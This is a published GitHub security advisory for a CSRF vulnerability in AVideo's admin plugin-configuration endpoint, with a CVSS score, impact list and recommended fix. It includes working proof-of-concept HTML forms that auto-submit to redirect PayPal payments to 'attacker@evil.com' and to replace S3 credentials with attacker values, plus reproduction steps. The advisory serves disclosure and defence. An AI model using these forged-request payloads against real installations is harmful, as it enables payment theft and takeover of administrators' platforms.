

WWBN / AVideo Public[Code](#) [Issues](#) 9 [Pull requests](#) 2 [Actions](#) [Projects](#) [Wiki](#) [Security](#)

# CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking

High DanielnetoDotCom published GHSA-4wwr-7h7c-chqr last week

Software

**WWBN/AVideo**

Affected versions

&lt;= 26.0

Patched versions

None

## Description

### Summary

AVideo's admin plugin configuration endpoint ( `admin/save.json.php` ) lacks any CSRF token validation. There is no call to `isGlobalTokenValid()` or `verifyToken()` before processing the request. Combined with the application's explicit `SameSite=None` cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session.

Because the `plugins` table is included in the `ignoreTableSecurityCheck()` array in `objects/Object.php`, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.

### Details

The session cookie configuration in `objects/include_config.php` at line 135 explicitly weakens the default browser protections:

```
// objects/include_config.php:135
ini_set('session.cookie_samesite', 'None');
```



This means cookies are attached to all cross-origin requests, making CSRF attacks trivial.

The save endpoint in `admin/save.json.php` directly processes POST data without any token verification:

```
// admin/save.json.php
$pluginName = $_POST['pluginName'];
$pluginValues = $_POST;
// ...
$pluginDO->$key = $pluginValues[$key];
$p->setObject_data(json_encode($pluginDO));
$p->save();
```



The `plugins` table is explicitly exempted from security checks in `objects/Object.php` at line 529:

```
// objects/Object.php:529
static function ignoreTableSecurityCheck() {
    return ['plugins', /* ... other tables ... */];
}
```



Even the ORM-level protections that exist for other tables do not apply to plugin configuration writes.

## Proof of Concept

Host the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address:

```
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.p
  <input type="hidden" name="pluginName" value="PayPerView" />
  <input type="hidden" name="paypalReceiverEmail" value="attacker@evil.com" />
</form>
<script>
  document.getElementById('csrf').submit();
</script>
</body>
</html>
```



To overwrite S3 storage credentials instead:

```
<form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save. p
  <input type="hidden" name="pluginName" value="AWS_S3" />
  <input type="hidden" name="region" value="us-east-1" />
  <input type="hidden" name="bucket" value="attacker-bucket" />
  <input type="hidden" name="key" value="ATTACKER_KEY_ID" />
```



```
<input type="hidden" name="secret" value="ATTACKER_SECRET" />
</form>
```

Reproduction steps:

1. Log in to AVideo as an administrator.
2. In a separate browser tab, open the attacker's HTML page.
3. The form auto-submits, overwriting the target plugin configuration.
4. Verify the change by navigating to the plugin settings page in the admin panel.

## Impact

An attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:

- **Payment hijacking:** Change PayPal receiver email or Stripe keys to redirect all payments to the attacker.
- **Credential theft:** Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage.
- **Authentication bypass:** Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers.
- **Backdoor installation:** Enable and configure plugins to introduce persistent access.

This is a full platform takeover with zero user interaction beyond a single page visit.

- **CWE:** CWE-352 (Cross-Site Request Forgery)
- **Severity:** High (CVSS 8.1)

## Recommended Fix

Add CSRF token validation at `admin/save.json.php:10`, immediately after the admin check:

```
// admin/save.json.php:10
if (!isGlobalTokenValid()) {
    die('{"error":"Invalid CSRF token"}');
}
```



Found by [aisafe.io](https://aisafe.io)

### Severity

High 8.1 / 10

**CVSS v3 base metrics**

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	None

[Learn more about base metrics](#)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

**CVE ID**

CVE-2026-34394

**Weaknesses**

▶ CWE-352

**Credits**



adrgs

Reporter



aisafe-bot

Finder